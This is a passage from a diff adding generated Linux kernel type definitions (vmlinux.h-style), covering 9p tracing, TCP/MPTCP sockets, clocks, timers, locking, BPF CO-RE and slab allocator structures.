tag; + __u32 err; + char __data[0]; +}; + +struct trace_event_raw_9p_protocol_dump { + struct trace_entry ent; + void *clnt; + __u8 type; + __u16 tag; + unsigned char line[32]; + char __data[0]; +}; + +struct trace_event_raw_9p_fid_ref { + struct trace_entry ent; + int fid; + int refcount; + __u8 type; + char __data[0]; +}; + +struct trace_event_data_offsets_9p_client_req {}; + +struct trace_event_data_offsets_9p_client_res {}; + +struct trace_event_data_offsets_9p_protocol_dump {}; + +struct trace_event_data_offsets_9p_fid_ref {}; + +typedef void (*btf_trace_9p_client_req)(void *, struct p9_client *, int8_t, int); + +typedef void (*btf_trace_9p_client_res)(void *, struct p9_client *, int8_t, int, int); + +typedef void (*btf_trace_9p_protocol_dump)(void *, struct p9_client *, struct p9_fcall *); + +typedef void (*btf_trace_9p_fid_ref)(void *, struct p9_fid *, __u8); + +enum { + Opt_msize = 0, + Opt_trans = 1, + Opt_legacy = 2, + Opt_version = 3, + Opt_err = 4, +}; + +struct fastopen_queue { + struct request_sock *rskq_rst_head; + struct request_sock *rskq_rst_tail; + spinlock_t lock; + int qlen; + int max_qlen; + struct tcp_fastopen_context *ctx; +}; + +struct request_sock_queue { + spinlock_t rskq_lock; + u8 rskq_defer_accept; + u32 synflood_warned; + atomic_t qlen; + atomic_t young; + struct request_sock *rskq_accept_head; + struct request_sock *rskq_accept_tail; + struct fastopen_queue fastopenq; +}; + +struct inet_request_sock { + struct request_sock req; + u16 snd_wscale: 4; + u16 rcv_wscale: 4; + u16 tstamp_ok: 1; + u16 sack_ok: 1; + u16 wscale_ok: 1; + u16 ecn_ok: 1; + u16 acked: 1; + u16 no_srccheck: 1; + u16 smc_ok: 1; + u32 ir_mark; + union { + struct ip_options_rcu *ireq_opt; + struct { + struct ipv6_txoptions *ipv6_opt; + struct sk_buff *pktopts; + }; + }; +}; + +struct inet_bind_bucket; + +struct inet_bind2_bucket; + +struct tcp_ulp_ops; + +struct inet_connection_sock { + struct inet_sock icsk_inet; + struct request_sock_queue icsk_accept_queue; + struct inet_bind_bucket *icsk_bind_hash; + struct inet_bind2_bucket *icsk_bind2_hash; + long unsigned int icsk_timeout; + struct timer_list icsk_retransmit_timer; + struct timer_list icsk_delack_timer; + __u32 icsk_rto; + __u32 icsk_rto_min; + __u32 icsk_delack_max; + __u32 icsk_pmtu_cookie; + const struct tcp_congestion_ops *icsk_ca_ops; + const struct inet_connection_sock_af_ops *icsk_af_ops; + const struct tcp_ulp_ops *icsk_ulp_ops; + void *icsk_ulp_data; + void (*icsk_clean_acked)(struct sock *, u32); + unsigned int (*icsk_sync_mss)(struct sock *, u32); + __u8 icsk_ca_state: 5; + __u8 icsk_ca_initialized: 1; + __u8 icsk_ca_setsockopt: 1; + __u8 icsk_ca_dst_locked: 1; + __u8 icsk_retransmits; + __u8 icsk_pending; + __u8 icsk_backoff; + __u8 icsk_syn_retries; + __u8 icsk_probes_out; + __u16 icsk_ext_hdr_len; + struct { + __u8 pending; + __u8 quick; + __u8 pingpong; + __u8 retry; + __u32 ato; + long unsigned int timeout; + __u32 lrcvtime; + __u16 last_seg_size; + __u16 rcv_mss; + } icsk_ack; + struct { + int search_high; + int search_low; + u32 probe_size: 31; + u32 enabled: 1; + u32 probe_timestamp; + } icsk_mtup; + u32 icsk_probes_tstamp; + u32 icsk_user_timeout; + u64 icsk_ca_priv[13]; +}; + +struct inet_bind_bucket { + possible_net_t ib_net; + int l3mdev; + short unsigned int port; + signed char fastreuse; + signed char fastreuseport; + kuid_t fastuid; + struct in6_addr fast_v6_rcv_saddr; + __be32 fast_rcv_saddr; + short unsigned int fast_sk_family; + bool fast_ipv6_only; + struct hlist_node node; + struct hlist_head owners; +}; + +struct inet_bind2_bucket { + possible_net_t ib_net; + int l3mdev; + short unsigned int port; + short unsigned int family; + union { + struct in6_addr v6_rcv_saddr; + __be32 rcv_saddr; + }; + struct hlist_node node; + struct hlist_head owners; + struct hlist_head deathrow; +}; + +struct tcp_ulp_ops { + struct list_head list; + int (*init)(struct sock *); + void (*update)(struct sock *, struct proto *, void (*)(struct sock *)); + void (*release)(struct sock *); + int (*get_info)(const struct sock *, struct sk_buff *); + size_t (*get_info_size)(const struct sock *); + void (*clone)(const struct request_sock *, struct sock *, const gfp_t); + char name[16]; + struct module *owner; +}; + +struct tcp_request_sock { + struct inet_request_sock req; + const struct tcp_request_sock_ops *af_specific; + u64 snt_synack; + bool tfo_listener; + bool is_mptcp; + bool drop_req; + u32 txhash; + u32 rcv_isn; + u32 snt_isn; + u32 ts_off; + u32 last_oow_ack_time; + u32 rcv_nxt; + u8 syn_tos; +}; + +struct mptcp_rm_list { + u8 ids[8]; + u8 nr; +}; + +struct mptcp_addr_info { + u8 id; + sa_family_t family; + __be16 port; + union { + struct in_addr addr; + struct in6_addr addr6; + }; +}; + +struct mptcp_pm_data { + struct mptcp_addr_info local; + struct mptcp_addr_info remote; + struct list_head anno_list; + struct list_head userspace_pm_local_addr_list; + spinlock_t lock; + u8 addr_signal; + bool server_side; + bool work_pending; + bool accept_addr; + bool accept_subflow; + bool remote_deny_join_id0; + u8 add_addr_signaled; + u8 add_addr_accepted; + u8 local_addr_used; + u8 pm_type; + u8 subflows; + u8 status; + long unsigned int id_avail_bitmap[4]; + struct mptcp_rm_list rm_list_tx; + struct mptcp_rm_list rm_list_rx; +}; + +struct mptcp_data_frag { + struct list_head list; + u64 data_seq; + u16 data_len; + u16 offset; + u16 overhead; + u16 already_sent; + struct page *page; +}; + +struct mptcp_sock { + struct inet_connection_sock sk; + u64 local_key; + u64 remote_key; + u64 write_seq; + u64 snd_nxt; + u64 ack_seq; + atomic64_t rcv_wnd_sent; + u64 rcv_data_fin_seq; + int rmem_fwd_alloc; + struct sock *last_snd; + int snd_burst; + int old_wspace; + u64 recovery_snd_nxt; + u64 snd_una; + u64 wnd_end; + long unsigned int timer_ival; + u32 token; + int rmem_released; + long unsigned int flags; + long unsigned int cb_flags; + long unsigned int push_pending; + bool recovery; + bool can_ack; + bool fully_established; + bool rcv_data_fin; + bool snd_data_fin_enable; + bool rcv_fastclose; + bool use_64bit_ack; + bool csum_enabled; + bool allow_infinite_fallback; + u8 mpc_endpoint_id; + u8 recvmsg_inq: 1; + u8 cork: 1; + u8 nodelay: 1; + u8 fastopening: 1; + u8 in_accept_queue: 1; + int connect_flags; + struct work_struct work; + struct sk_buff *ooo_last_skb; + struct rb_root out_of_order_queue; + struct sk_buff_head receive_queue; + struct list_head conn_list; + struct list_head rtx_queue; + struct mptcp_data_frag *first_pending; + struct list_head join_list; + struct socket *subflow; + struct sock *first; + struct mptcp_pm_data pm; + struct { + u32 space; + u32 copied; + u64 time; + u64 rtt_us; + } rcvq_space; + u32 setsockopt_seq; + char ca_name[16]; + struct mptcp_sock *dl_next; +}; + +struct mptcp_subflow_request_sock { + struct tcp_request_sock sk; + u16 mp_capable: 1; + u16 mp_join: 1; + u16 backup: 1; + u16 csum_reqd: 1; + u16 allow_join_id0: 1; + u8 local_id; + u8 remote_id; + u64 local_key; + u64 idsn; + u32 token; + u32 ssn_offset; + u64 thmac; + u32 local_nonce; + u32 remote_nonce; + struct mptcp_sock *msk; + struct hlist_nulls_node token_node; +}; + +enum mptcp_data_avail { + MPTCP_SUBFLOW_NODATA = 0, + MPTCP_SUBFLOW_DATA_AVAIL = 1, +}; + +struct mptcp_delegated_action { + struct napi_struct napi; + struct list_head head; +}; + +struct mptcp_subflow_context { + struct list_head node; + union { + struct { + long unsigned int avg_pacing_rate; + u64 local_key; + u64 remote_key; + u64 idsn; + u64 map_seq; + u32 snd_isn; + u32 token; + u32 rel_write_seq; + u32 map_subflow_seq; + u32 ssn_offset; + u32 map_data_len; + __wsum map_data_csum; + u32 map_csum_len; + u32 request_mptcp: 1; + u32 request_join: 1; + u32 request_bkup: 1; + u32 mp_capable: 1; + u32 mp_join: 1; + u32 fully_established: 1; + u32 pm_notified: 1; + u32 conn_finished: 1; + u32 map_valid: 1; + u32 map_csum_reqd: 1; + u32 map_data_fin: 1; + u32 mpc_map: 1; + u32 backup: 1; + u32 send_mp_prio: 1; + u32 send_mp_fail: 1; + u32 send_fastclose: 1; + u32 send_infinite_map: 1; + u32 rx_eof: 1; + u32 remote_key_valid: 1; + u32 disposable: 1; + u32 stale: 1; + u32 local_id_valid: 1; + u32 valid_csum_seen: 1; + u32 is_mptfo: 1; + u32 __unused: 8; + enum mptcp_data_avail data_avail; + u32 remote_nonce; + u64 thmac; + u32 local_nonce; + u32 remote_token; + union { + u8 hmac[20]; + u64 iasn; + }; + u8 local_id; + u8 remote_id; + u8 reset_seen: 1; + u8 reset_transient: 1; + u8 reset_reason: 4; + u8 stale_count; + long int delegated_status; + long unsigned int fail_tout; + }; + struct { + long unsigned int avg_pacing_rate; + u64 local_key; + u64 remote_key; + u64 idsn; + u64 map_seq; + u32 snd_isn; + u32 token; + u32 rel_write_seq; + u32 map_subflow_seq; + u32 ssn_offset; + u32 map_data_len; + __wsum map_data_csum; + u32 map_csum_len; + u32 request_mptcp: 1; + u32 request_join: 1; + u32 request_bkup: 1; + u32 mp_capable: 1; + u32 mp_join: 1; + u32 fully_established: 1; + u32 pm_notified: 1; + u32 conn_finished: 1; + u32 map_valid: 1; + u32 map_csum_reqd: 1; + u32 map_data_fin: 1; + u32 mpc_map: 1; + u32 backup: 1; + u32 send_mp_prio: 1; + u32 send_mp_fail: 1; + u32 send_fastclose: 1; + u32 send_infinite_map: 1; + u32 rx_eof: 1; + u32 remote_key_valid: 1; + u32 disposable: 1; + u32 stale: 1; + u32 local_id_valid: 1; + u32 valid_csum_seen: 1; + u32 is_mptfo: 1; + u32 __unused: 8; + enum mptcp_data_avail data_avail; + u32 remote_nonce; + u64 thmac; + u32 local_nonce; + u32 remote_token; + union { + u8 hmac[20]; + u64 iasn; + }; + u8 local_id; + u8 remote_id; + u8 reset_seen: 1; + u8 reset_transient: 1; + u8 reset_reason: 4; + u8 stale_count; + long int delegated_status; + long unsigned int fail_tout; + } reset; + }; + struct list_head delegated_node; + u32 setsockopt_seq; + u32 stale_rcv_tstamp; + struct sock *tcp_sock; + struct sock *conn; + const struct inet_connection_sock_af_ops *icsk_af_ops; + void (*tcp_state_change)(struct sock *); + void (*tcp_error_report)(struct sock *); + struct callback_head rcu; +}; + +struct token_bucket { + spinlock_t lock; + int chain_len; + struct hlist_nulls_head req_chain; + struct hlist_nulls_head msk_chain; +}; + +typedef __kernel_long_t __kernel_ptrdiff_t; + +typedef __kernel_ptrdiff_t ptrdiff_t; + +struct va_format { + const char *fmt; + va_list *va; +}; + +struct tm { + int tm_sec; + int tm_min; + int tm_hour; + int tm_mday; + int tm_mon; + long int tm_year; + int tm_wday; + int tm_yday; +}; + +struct clk_core; + +struct clk_hw; + +struct clk_rate_request { + struct clk_core *core; + long unsigned int rate; + long unsigned int min_rate; + long unsigned int max_rate; + long unsigned int best_parent_rate; + struct clk_hw *best_parent_hw; +}; + +struct clk_init_data; + +struct clk_hw { + struct clk_core *core; + struct clk *clk; + const struct clk_init_data *init; +}; + +struct clk_duty { + unsigned int num; + unsigned int den; +}; + +struct clk_ops { + int (*prepare)(struct clk_hw *); + void (*unprepare)(struct clk_hw *); + int (*is_prepared)(struct clk_hw *); + void (*unprepare_unused)(struct clk_hw *); + int (*enable)(struct clk_hw *); + void (*disable)(struct clk_hw *); + int (*is_enabled)(struct clk_hw *); + void (*disable_unused)(struct clk_hw *); + int (*save_context)(struct clk_hw *); + void (*restore_context)(struct clk_hw *); + long unsigned int (*recalc_rate)(struct clk_hw *, long unsigned int); + long int (*round_rate)(struct clk_hw *, long unsigned int, long unsigned int *); + int (*determine_rate)(struct clk_hw *, struct clk_rate_request *); + int (*set_parent)(struct clk_hw *, u8); + u8 (*get_parent)(struct clk_hw *); + int (*set_rate)(struct clk_hw *, long unsigned int, long unsigned int); + int (*set_rate_and_parent)(struct clk_hw *, long unsigned int, long unsigned int, u8); + long unsigned int (*recalc_accuracy)(struct clk_hw *, long unsigned int); + int (*get_phase)(struct clk_hw *); + int (*set_phase)(struct clk_hw *, int); + int (*get_duty_cycle)(struct clk_hw *, struct clk_duty *); + int (*set_duty_cycle)(struct clk_hw *, struct clk_duty *); + int (*init)(struct clk_hw *); + void (*terminate)(struct clk_hw *); + void (*debug_init)(struct clk_hw *, struct dentry *); +}; + +struct clk_parent_data { + const struct clk_hw *hw; + const char *fw_name; + const char *name; + int index; +}; + +struct clk_init_data { + const char *name; + const struct clk_ops *ops; + const char * const *parent_names; + const struct clk_parent_data *parent_data; + const struct clk_hw **parent_hws; + u8 num_parents; + long unsigned int flags; +}; + +struct rtc_time { + int tm_sec; + int tm_min; + int tm_hour; + int tm_mday; + int tm_mon; + int tm_year; + int tm_wday; + int tm_yday; + int tm_isdst; +}; + +struct sockaddr_in { + __kernel_sa_family_t sin_family; + __be16 sin_port; + struct in_addr sin_addr; + unsigned char __pad[8]; +}; + +struct sockaddr_in6 { + short unsigned int sin6_family; + __be16 sin6_port; + __be32 sin6_flowinfo; + struct in6_addr sin6_addr; + __u32 sin6_scope_id; +}; + +enum format_type { + FORMAT_TYPE_NONE = 0, + FORMAT_TYPE_WIDTH = 1, + FORMAT_TYPE_PRECISION = 2, + FORMAT_TYPE_CHAR = 3, + FORMAT_TYPE_STR = 4, + FORMAT_TYPE_PTR = 5, + FORMAT_TYPE_PERCENT_CHAR = 6, + FORMAT_TYPE_INVALID = 7, + FORMAT_TYPE_LONG_LONG = 8, + FORMAT_TYPE_ULONG = 9, + FORMAT_TYPE_LONG = 10, + FORMAT_TYPE_UBYTE = 11, + FORMAT_TYPE_BYTE = 12, + FORMAT_TYPE_USHORT = 13, + FORMAT_TYPE_SHORT = 14, + FORMAT_TYPE_UINT = 15, + FORMAT_TYPE_INT = 16, + FORMAT_TYPE_SIZE_T = 17, + FORMAT_TYPE_PTRDIFF = 18, +}; + +struct printf_spec { + unsigned int type: 8; + int field_width: 24; + unsigned int flags: 8; + unsigned int base: 8; + int precision: 16; +}; + +struct page_flags_fields { + int width; + int shift; + int mask; + const struct printf_spec *spec; + const char *name; +}; + +typedef __u32 Elf32_Word; + +struct elf32_note { + Elf32_Word n_namesz; + Elf32_Word n_descsz; + Elf32_Word n_type; +}; + +struct rw_semaphore; + +enum { + PROC_ROOT_INO = 1, + PROC_IPC_INIT_INO = 4026531839, + PROC_UTS_INIT_INO = 4026531838, + PROC_USER_INIT_INO = 4026531837, + PROC_PID_INIT_INO = 4026531836, + PROC_CGROUP_INIT_INO = 4026531835, + PROC_TIME_INIT_INO = 4026531834, +}; + +struct pdev_archdata {}; + +struct mfd_cell; + +struct platform_device_id; + +struct platform_device { + const char *name; + int id; + bool id_auto; + struct device dev; + u64 platform_dma_mask; + struct device_dma_parameters dma_parms; + u32 num_resources; + struct resource *resource; + const struct platform_device_id *id_entry; + const char *driver_override; + struct mfd_cell *mfd_cell; + struct pdev_archdata archdata; +}; + +struct platform_device_id { + char name[20]; + kernel_ulong_t driver_data; +}; + +struct property_entry; + +struct platform_device_info { + struct device *parent; + struct fwnode_handle *fwnode; + bool of_node_reused; + const char *name; + int id; + const struct resource *res; + unsigned int num_res; + const void *data; + size_t size_data; + u64 dma_mask; + const struct property_entry *properties; +}; + +enum dev_prop_type { + DEV_PROP_U8 = 0, + DEV_PROP_U16 = 1, + DEV_PROP_U32 = 2, + DEV_PROP_U64 = 3, + DEV_PROP_STRING = 4, + DEV_PROP_REF = 5, +}; + +struct property_entry { + const char *name; + size_t length; + bool is_inline; + enum dev_prop_type type; + union { + const void *pointer; + union { + u8 u8_data[8]; + u16 u16_data[4]; + u32 u32_data[2]; + u64 u64_data[1]; + const char *str[1]; + } value; + }; +}; + +struct syscore_ops { + struct list_head node; + int (*suspend)(); + void (*resume)(); + void (*shutdown)(); +}; + +struct cpio_data { + void *data; + size_t size; + char name[18]; +}; + +struct cpu_signature { + unsigned int sig; + unsigned int pf; + unsigned int rev; +}; + +enum ucode_state { + UCODE_OK = 0, + UCODE_NEW = 1, + UCODE_UPDATED = 2, + UCODE_NFOUND = 3, + UCODE_ERROR = 4, +}; + +struct microcode_ops { + enum ucode_state (*request_microcode_fw)(int, struct device *); + void (*microcode_fini_cpu)(int); + enum ucode_state (*apply_microcode)(int); + int (*collect_cpu_info)(int, struct cpu_signature *); +}; + +struct ucode_cpu_info { + struct cpu_signature cpu_sig; + void *mc; +}; + +struct amd_nb_bus_dev_range { + u8 bus; + u8 dev_base; + u8 dev_limit; +}; + +struct numa_memblk { + u64 start; + u64 end; + int nid; +}; + +struct numa_meminfo { + int nr_blks; + struct numa_memblk blk[128]; +}; + +struct fs_struct { + int users; + spinlock_t lock; + seqcount_spinlock_t seq; + int umask; + int in_exec; + struct path root; + struct path pwd; +}; + +struct pipe_buffer; + +struct pipe_inode_info { + struct mutex mutex; + wait_queue_head_t rd_wait; + wait_queue_head_t wr_wait; + unsigned int head; + unsigned int tail; + unsigned int max_usage; + unsigned int ring_size; + unsigned int nr_accounted; + unsigned int readers; + unsigned int writers; + unsigned int files; + unsigned int r_counter; + unsigned int w_counter; + bool poll_usage; + struct page *tmp_page; + struct fasync_struct *fasync_readers; + struct fasync_struct *fasync_writers; + struct pipe_buffer *bufs; + struct user_struct *user; +}; + +struct subprocess_info { + struct work_struct work; + struct completion *complete; + const char *path; + char **argv; + char **envp; + int wait; + int retval; + int (*init)(struct subprocess_info *, struct cred *); + void (*cleanup)(struct subprocess_info *); + void *data; +}; + +struct pipe_buf_operations; + +struct pipe_buffer { + struct page *page; + unsigned int offset; + unsigned int len; + const struct pipe_buf_operations *ops; + unsigned int flags; + long unsigned int private; +}; + +struct pipe_buf_operations { + int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *); + void (*release)(struct pipe_inode_info *, struct pipe_buffer *); + bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *); + bool (*get)(struct pipe_inode_info *, struct pipe_buffer *); +}; + +struct umd_info { + const char *driver_name; + struct file *pipe_to_umh; + struct file *pipe_from_umh; + struct path wd; + struct pid *tgid; +}; + +struct rt_mutex_base; + +struct rt_mutex_waiter { + struct rb_node tree_entry; + struct rb_node pi_tree_entry; + struct task_struct *task; + struct rt_mutex_base *lock; + unsigned int wake_state; + int prio; + u64 deadline; + struct ww_acquire_ctx *ww_ctx; +}; + +struct wake_q_head { + struct wake_q_node *first; + struct wake_q_node **lastp; +}; + +struct rt_mutex_base { + raw_spinlock_t wait_lock; + struct rb_root_cached waiters; + struct task_struct *owner; +}; + +struct rt_mutex { + struct rt_mutex_base rtmutex; + struct lockdep_map dep_map; +}; + +struct ww_class { + atomic_long_t stamp; + struct lock_class_key acquire_key; + struct lock_class_key mutex_key; + const char *acquire_name; + const char *mutex_name; + unsigned int is_wait_die; +}; + +struct ww_mutex { + struct mutex base; + struct ww_acquire_ctx *ctx; + struct ww_class *ww_class; +}; + +struct ww_acquire_ctx { + struct task_struct *task; + long unsigned int stamp; + unsigned int acquired; + short unsigned int wounded; + short unsigned int is_wait_die; + unsigned int done_acquire; + struct ww_class *ww_class; + void *contending_lock; + struct lockdep_map dep_map; + unsigned int deadlock_inject_interval; + unsigned int deadlock_inject_countdown; +}; + +struct rt_wake_q_head { + struct wake_q_head head; + struct task_struct *rtlock_task; +}; + +enum rtmutex_chainwalk { + RT_MUTEX_MIN_CHAINWALK = 0, + RT_MUTEX_FULL_CHAINWALK = 1, +}; + +struct irq_devres { + unsigned int irq; + void *dev_id; +}; + +struct irq_desc_devres { + unsigned int from; + unsigned int cnt; +}; + +typedef void (*rcu_callback_t)(struct callback_head *); + +enum { + GP_IDLE = 0, + GP_ENTER = 1, + GP_PASSED = 2, + GP_EXIT = 3, + GP_REPLAY = 4, +}; + +enum syscall_work_bit { + SYSCALL_WORK_BIT_SECCOMP = 0, + SYSCALL_WORK_BIT_SYSCALL_TRACEPOINT = 1, + SYSCALL_WORK_BIT_SYSCALL_TRACE = 2, + SYSCALL_WORK_BIT_SYSCALL_EMU = 3, + SYSCALL_WORK_BIT_SYSCALL_AUDIT = 4, + SYSCALL_WORK_BIT_SYSCALL_USER_DISPATCH = 5, + SYSCALL_WORK_BIT_SYSCALL_EXIT_TRAP = 6, +}; + +struct ptrace_sud_config { + __u64 mode; + __u64 selector; + __u64 offset; + __u64 len; +}; + +struct itimerspec64 { + struct timespec64 it_interval; + struct timespec64 it_value; +}; + +enum tick_dep_bits { + TICK_DEP_BIT_POSIX_TIMER = 0, + TICK_DEP_BIT_PERF_EVENTS = 1, + TICK_DEP_BIT_SCHED = 2, + TICK_DEP_BIT_CLOCK_UNSTABLE = 3, + TICK_DEP_BIT_RCU = 4, + TICK_DEP_BIT_RCU_EXP = 5, +}; + +struct trace_event_raw_timer_class { + struct trace_entry ent; + void *timer; + char __data[0]; +}; + +struct trace_event_raw_timer_start { + struct trace_entry ent; + void *timer; + void *function; + long unsigned int expires; + long unsigned int now; + unsigned int flags; + char __data[0]; +}; + +struct trace_event_raw_timer_expire_entry { + struct trace_entry ent; + void *timer; + long unsigned int now; + void *function; + long unsigned int baseclk; + char __data[0]; +}; + +struct trace_event_raw_hrtimer_init { + struct trace_entry ent; + void *hrtimer; + clockid_t clockid; + enum hrtimer_mode mode; + char __data[0]; +}; + +struct trace_event_raw_hrtimer_start { + struct trace_entry ent; + void *hrtimer; + void *function; + s64 expires; + s64 softexpires; + enum hrtimer_mode mode; + char __data[0]; +}; + +struct trace_event_raw_hrtimer_expire_entry { + struct trace_entry ent; + void *hrtimer; + s64 now; + void *function; + char __data[0]; +}; + +struct trace_event_raw_hrtimer_class { + struct trace_entry ent; + void *hrtimer; + char __data[0]; +}; + +struct trace_event_raw_itimer_state { + struct trace_entry ent; + int which; + long long unsigned int expires; + long int value_sec; + long int value_nsec; + long int interval_sec; + long int interval_nsec; + char __data[0]; +}; + +struct trace_event_raw_itimer_expire { + struct trace_entry ent; + int which; + pid_t pid; + long long unsigned int now; + char __data[0]; +}; + +struct trace_event_raw_tick_stop { + struct trace_entry ent; + int success; + int dependency; + char __data[0]; +}; + +struct trace_event_data_offsets_timer_class {}; + +struct trace_event_data_offsets_timer_start {}; + +struct trace_event_data_offsets_timer_expire_entry {}; + +struct trace_event_data_offsets_hrtimer_init {}; + +struct trace_event_data_offsets_hrtimer_start {}; + +struct trace_event_data_offsets_hrtimer_expire_entry {}; + +struct trace_event_data_offsets_hrtimer_class {}; + +struct trace_event_data_offsets_itimer_state {}; + +struct trace_event_data_offsets_itimer_expire {}; + +struct trace_event_data_offsets_tick_stop {}; + +typedef void (*btf_trace_timer_init)(void *, struct timer_list *); + +typedef void (*btf_trace_timer_start)(void *, struct timer_list *, long unsigned int, unsigned int); + +typedef void (*btf_trace_timer_expire_entry)(void *, struct timer_list *, long unsigned int); + +typedef void (*btf_trace_timer_expire_exit)(void *, struct timer_list *); + +typedef void (*btf_trace_timer_cancel)(void *, struct timer_list *); + +typedef void (*btf_trace_hrtimer_init)(void *, struct hrtimer *, clockid_t, enum hrtimer_mode); + +typedef void (*btf_trace_hrtimer_start)(void *, struct hrtimer *, enum hrtimer_mode); + +typedef void (*btf_trace_hrtimer_expire_entry)(void *, struct hrtimer *, ktime_t *); + +typedef void (*btf_trace_hrtimer_expire_exit)(void *, struct hrtimer *); + +typedef void (*btf_trace_hrtimer_cancel)(void *, struct hrtimer *); + +typedef void (*btf_trace_itimer_state)(void *, int, const struct itimerspec64 * const, long long unsigned int); + +typedef void (*btf_trace_itimer_expire)(void *, int, struct pid *, long long unsigned int); + +typedef void (*btf_trace_tick_stop)(void *, int, int); + +struct timer_base { + raw_spinlock_t lock; + struct timer_list *running_timer; + long unsigned int clk; + long unsigned int next_expiry; + unsigned int cpu; + bool next_expiry_recalc; + bool is_idle; + bool timers_pending; + long unsigned int pending_map[9]; + struct hlist_head vectors[576]; + long: 64; + long: 64; + long: 64; +}; + +struct process_timer { + struct timer_list timer; + struct task_struct *task; +}; + +struct kernfs_syscall_ops { + int (*show_options)(struct seq_file *, struct kernfs_root *); + int (*mkdir)(struct kernfs_node *, const char *, umode_t); + int (*rmdir)(struct kernfs_node *); + int (*rename)(struct kernfs_node *, struct kernfs_node *, const char *); + int (*show_path)(struct seq_file *, struct kernfs_node *, struct kernfs_root *); +}; + +struct cgroup_taskset { + struct list_head src_csets; + struct list_head dst_csets; + int nr_tasks; + int ssid; + struct list_head *csets; + struct css_set *cur_cset; + struct task_struct *cur_task; +}; + +enum bpf_iter_feature { + BPF_ITER_RESCHED = 1, +}; + +struct bpf_iter__cgroup { + union { + struct bpf_iter_meta *meta; + }; + union { + struct cgroup *cgroup; + }; +}; + +struct cgroup_iter_priv { + struct cgroup_subsys_state *start_css; + bool visited_all; + bool terminate; + int order; +}; + +struct btf_enum { + __u32 name_off; + __s32 val; +}; + +struct btf_enum64 { + __u32 name_off; + __u32 val_lo32; + __u32 val_hi32; +}; + +struct bpf_core_cand { + const struct btf *btf; + __u32 id; +}; + +struct bpf_core_cand_list { + struct bpf_core_cand *cands; + int len; +}; + +struct bpf_core_accessor { + __u32 type_id; + __u32 idx; + const char *name; +}; + +struct bpf_core_spec { + const struct btf *btf; + struct bpf_core_accessor spec[64]; + __u32 root_type_id; + enum bpf_core_relo_kind relo_kind; + int len; + int raw_spec[64]; + int raw_len; + __u32 bit_offset; +}; + +struct bpf_core_relo_res { + __u64 orig_val; + __u64 new_val; + bool poison; + bool validate; + bool fail_memsz_adjust; + __u32 orig_sz; + __u32 orig_type_id; + __u32 new_sz; + __u32 new_type_id; +}; + +enum { + DUMP_PREFIX_NONE = 0, + DUMP_PREFIX_ADDRESS = 1, + DUMP_PREFIX_OFFSET = 2, +}; + +enum { + FOLL_WRITE = 1, + FOLL_GET = 2, + FOLL_DUMP = 4, + FOLL_FORCE = 8, + FOLL_NOWAIT = 16, + FOLL_NOFAULT = 32, + FOLL_HWPOISON = 64, + FOLL_ANON = 128, + FOLL_LONGTERM = 256, + FOLL_SPLIT_PMD = 512, + FOLL_PCI_P2PDMA = 1024, + FOLL_INTERRUPTIBLE = 2048, +}; + +typedef long long unsigned int cycles_t; + +enum { + WQ_UNBOUND = 2, + WQ_FREEZABLE = 4, + WQ_MEM_RECLAIM = 8, + WQ_HIGHPRI = 16, + WQ_CPU_INTENSIVE = 32, + WQ_SYSFS = 64, + WQ_POWER_EFFICIENT = 128, + __WQ_DESTROYING = 32768, + __WQ_DRAINING = 65536, + __WQ_ORDERED = 131072, + __WQ_LEGACY = 262144, + __WQ_ORDERED_EXPLICIT = 524288, + WQ_MAX_ACTIVE = 512, + WQ_MAX_UNBOUND_PER_CPU = 4, + WQ_DFL_ACTIVE = 256, +}; + +typedef u32 depot_stack_handle_t; + +struct kmem_cache_order_objects { + unsigned int x; +}; + +struct kmem_cache_cpu; + +struct kmem_cache_node; + +struct kmem_cache { + struct kmem_cache_cpu *cpu_slab; + slab_flags_t flags; + long unsigned int min_partial; + unsigned int size; + unsigned int object_size; + struct reciprocal_value reciprocal_size; + unsigned int offset; + unsigned int cpu_partial; + unsigned int cpu_partial_slabs; + struct kmem_cache_order_objects oo; + struct kmem_cache_order_objects min; + gfp_t allocflags; + int refcount; + void (*ctor)(void *); + unsigned int inuse; + unsigned int align; + unsigned int red_left_pad; + const char *name; + struct list_head list; + struct kobject kobj; + unsigned int remote_node_defrag_ratio; + struct kmem_cache_node *node[64]; +}; + +enum page_memcg_data_flags { + MEMCG_DATA_OBJCGS = 1, + MEMCG_DATA_KMEM = 2, + __NR_MEMCG_DATA_FLAGS = 4, +}; + +struct slab { + long unsigned int __page_flags; + struct kmem_cache *slab_cache; + union { + struct { + union { + struct list_head slab_list; + struct { + struct slab *next; + int slabs; + }; + }; + void *freelist; + union { + long unsigned int counters; + struct { + unsigned int inuse: 16; + unsigned int objects: 15; + unsigned int frozen: 1; + }; + }; + }; + struct callback_head callback_head; + }; + unsigned int __unused; + atomic_t __page_refcount; + long unsigned int memcg_data; +}; + +enum stat_item { + ALLOC_FASTPATH = 0, + ALLOC_SLOWPATH = 1, + FREE_FASTPATH = 2, + FREE_SLOWPATH = 3, + FREE_FROZEN = 4, + FREE_ADD_PARTIAL = 5, + FREE_REMOVE_PARTIAL = 6, + ALLOC_FROM_PARTIAL = 7, + ALLOC_SLAB = 8, + ALLOC_REFILL = 9, + ALLOC_NODE_MISMATCH = 10, + FREE_SLAB = 11, + CPUSLAB_FLUSH = 12, + DEACTIVATE_FULL = 13, + DEACTIVATE_EMPTY = 14, + DEACTIVATE_TO_HEAD = 15, + DEACTIVATE_TO_TAIL = 16, + DEACTIVATE_REMOTE_FREES = 17, + DEACTIVATE_BYPASS = 18, + ORDER_FALLBACK = 19, + CMPXCHG_DOUBLE_CPU_FAIL = 20, + CMPXCHG_DOUBLE_FAIL = 21, + CPU_PARTIAL_ALLOC = 22, + CPU_PARTIAL_FREE = 23, + CPU_PARTIAL_NODE = 24, + CPU_PARTIAL_DRAIN = 25, + NR_SLUB_STAT_ITEMS = 26, +}; + +struct kmem_cache_cpu { + void **freelist; + long unsigned int tid; + struct slab *slab; + struct slab *partial; + local_lock_t lock; +}; + +struct kmem_cache_node { + spinlock_t list_lock; + long unsigned int nr_partial; + struct list_head partial; + atomic_long_t nr_slabs; + atomic_long_t total_objects; + struct list_head full; +}; + +enum slab_state { + DOWN = 0, + PARTIAL = 1, + PARTIAL_NODE = 2, + UP = 3, + FULL = 4, +}; + +struct kmalloc_info_struct { + const char *name[4]; + unsigned int size; +}; + +struct slabinfo { + long unsigned int active_objs; + long unsigned int num_objs; + long unsigned int active_slabs; + long unsigned int num_slabs; + long unsigned int shared_avail; + unsigned int limit; + unsigned int batchcount; + unsigned int shared; + unsigned int objects_per_slab; + unsigned int cache_order; +}; + +struct kmem_obj_info { + void 